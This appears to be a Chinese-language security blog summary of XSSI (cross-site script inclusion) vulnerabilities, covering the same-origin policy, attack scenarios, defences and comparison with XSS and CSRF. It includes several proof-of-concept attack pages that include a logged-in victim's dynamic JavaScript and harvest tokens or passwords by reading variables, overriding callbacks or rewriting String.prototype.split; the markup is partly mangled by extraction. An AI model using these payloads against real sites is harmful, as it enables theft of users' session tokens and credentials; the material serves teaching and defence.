XSSI漏洞小结
XSSI漏洞小结
简介
XSSI(Cross Site Script Inclusion)跨站脚本包含是一种允许攻击者通过嵌入script标签的src属性来加载敏感js绕过边界窃取信息的漏洞。
简单来讲,就是攻击者通过使用script>标签跨域包含特定文件/页面,就可以窃取符合JavaScript格式的文件中的敏感信息。
举例如下:
#!javascript
!-- attacker's page loads external data with SCRIPT tag -->
SCRIPTsrc="http://target.wooyun.org/secret">/SCRIPT>
原理
先来简单了解下什么是同源策略:
同源策略SOP(Same origin policy)是一种约定,也是浏览器最核心也最基本的安全功能,它限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。
如果两个 URL 的 protocol、port(如果有指定的话)和 host都相同的话,则这两个 URL 是同源。这个方案也被称为“协议/主机/端口元组”,或者直接是 “元组”。(“元组” 是指一组项目构成的整体,双重/三重/四重/五重/等的通用形式)。
下表给出了与 URL http://store.company.com/dir/page.html 的源进行对比的示例:
URL | 结果 | 原因 |
http://store.company.com/dir2/other.html | 同源 | 只有路径不同 |
http://store.company.com/dir/inner/another.html | 同源 | 只有路径不同 |
https://store.company.com/secure.html | 失败 | 协议不同 |
http://store.company.com:81/dir/etc.html | 失败 | 端口不同 ( http:// 默认端口是80) |
http://news.company.com/dir/other.html | 失败 | 主机不同 |
而XSSI的核心就是绕过了SOP来跨域包含含有敏感信息的外域文件,因为默认情况下不允许加载外域文件,而通过script标签是允许跨域加载资源的,如果某个网站的动态JS脚本、文件和响应中包含某些敏感信息,那么就存在信息泄漏的风险。
与其说是绕过SOP,个人感觉更像是利用了script标签的跨域特性。。。
利用场景
用户登录正常的网站A,网站A会给用户分配Cookie用于鉴权
用户访问攻击者构造的恶意页面B,页面包含有script标签,且src属性为网站A中含有敏感信息的JS文件或者特定页面(返回类型必须能被script识别解析)
攻击者可以从下载的动态JS文件中获取用户的敏感信息
攻击利用
因为XSSI主要是通过script标签加载目标的敏感文件,再从敏感文件中获取信息;而敏感文件主要分为两类,分别是:
- JavaScript文件
- 静态JS文件(需要登陆后才能访问的,不然可以直接访问,没意义)
- 动态JS文件
- 非JavaScript文件(比较鸡肋)
- CSV文件
- JSON文件
针对JavaScript文件
静态JavaScript文件
这里遇到的情况相对较少,因为静态的JavaScript文件不登陆的情况下大多都是可以访问的,很少出现必须要登录才能访问的情况;如果不登陆的情况下都可以访问,那用了XSSI反而是多此一举。
- 敏感JS文件
- varusername = "admin";
varpassword = "admin888"; - XSSI利用代码
- title>d4m1ts/title>
scriptsrc="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">/script>
scriptsrc="http://127.0.0.1:8000/info.js">/script>
scripttype="text/javascript">
document.write("用户名:" + username);
document.write("/br>");
document.write("密码 :" + password);
/script>
动态JavaScript文件
这种情况就比较多了,一般都是需要登陆后才能访问的,且通常包含有敏感信息,适合用来进行XSSI攻击
插曲
Q:如何判断一个JS是不是动态的
A1:用多个账号分别访问这个JS,看看返回的内容是不是一样的
A2:使用burp插件:DetectDynamicJS
直接调用相关函数
- 敏感动态JS(动态生成token)
- functiongetToken(){
len = 16 || 32;
var$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678';
varmaxPos = $chars.length;
vartoken = '';
for(i = 0; i len; i++) {
token += $chars.charAt(Math.floor(Math.random() * maxPos));
}
returntoken;
} - XSSI利用代码(直接调用getToken()函数)
- title>d4m1ts/title>
scriptsrc="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">/script>
scriptsrc="http://127.0.0.1:8000/info.js">/script>
scripttype="text/javascript">
vartoken = getToken();
document.write("Token is : " + token);
/script>
重写调用函数
- 敏感动态JS
- (function(){
vartoken = getToken();
doSomeThing(token);
})();
functiongetToken(){
len = 16 || 32;
var$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678';
varmaxPos = $chars.length;
vartoken = '';
for(i = 0; i len; i++) {
token += $chars.charAt(Math.floor(Math.random() * maxPos));
}
returntoken;
} - XSSI利用代码(重写doSomeThing(token)方法)
- title>d4m1ts/title>
scripttype="text/javascript">
functiondoSomeThing(token){
document.write("Token: " + token);
}
/script>
scriptsrc="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">/script>
scriptsrc="http://127.0.0.1:8000/info.js">/script>
重写原型链
如果调用敏感数据的函数是内置的方法,比如String类型的内置方法split()、trim()、search()等,这些函数肯定是不能被直接重写的,但是我们可以通过重写原型链的方法来重写对应的内置函数。(还是重写方法。。。)
- 敏感动态JS
- (function(){
vartoken = getToken();
token.split("");
})();
functiongetToken(){
len = 16 || 32;
var$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678';
varmaxPos = $chars.length;
vartoken = '';
for(i = 0; i len; i++) {
token += $chars.charAt(Math.floor(Math.random() * maxPos));
}
returntoken;
} - XSSI利用代码(重写String原型链中的split()方法)
- title>d4m1ts/title>
scripttype="text/javascript">
String.prototype.split = function(){
document.write(this.toString());
}
/script>
scriptsrc="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">/script>
scriptsrc="http://127.0.0.1:8000/info.js">/script>
针对非JavaScript类型文件
主要是利用IE的各种bug问题,而现在几乎很少有人使用IE了,算是比较鸡肋吧。。。
在chrome和firefox中已经不存在这个问题了
具体原因如下:
有兴趣可以参考:XSSI攻击利用 - 大学生,原理也很简单
XSSI与XSS、CSRF、XS-Leak的区别
相同点:四者均为Web前端安全漏洞,都需要用户交互才能触发。
不同点:
- XSS是在受害者html页面中注入恶意代码执行恶意操作,例如窃取已登录用户的cookie信息;
- CSRF是通过诱使受害者访问恶意页面导致向目标页面发起请求,在受害者已登录的目标页面中执行恶意动作,例如提交修改用户密码的表单操作;
- XS-Leaks是用于具有模糊查询的功能,请求结果只会返回两种有差异的结果,然后根据这些差异推断出用户的敏感信息;
- XSSI是通过script标签的src属性来跨域包含含有敏感数据的文件来窃取敏感信息的;
防御
开发者永远也不要把敏感数据放在JavaScript文件中, 也不要放在JSONP中;
请求敏感文件/响应的尽量改为POST方式;
使用类似于CSRF-Token机制;
设置响应头为X-Content-Type-Options: nosniff,此时浏览器就会拒绝加载JS类型的数据;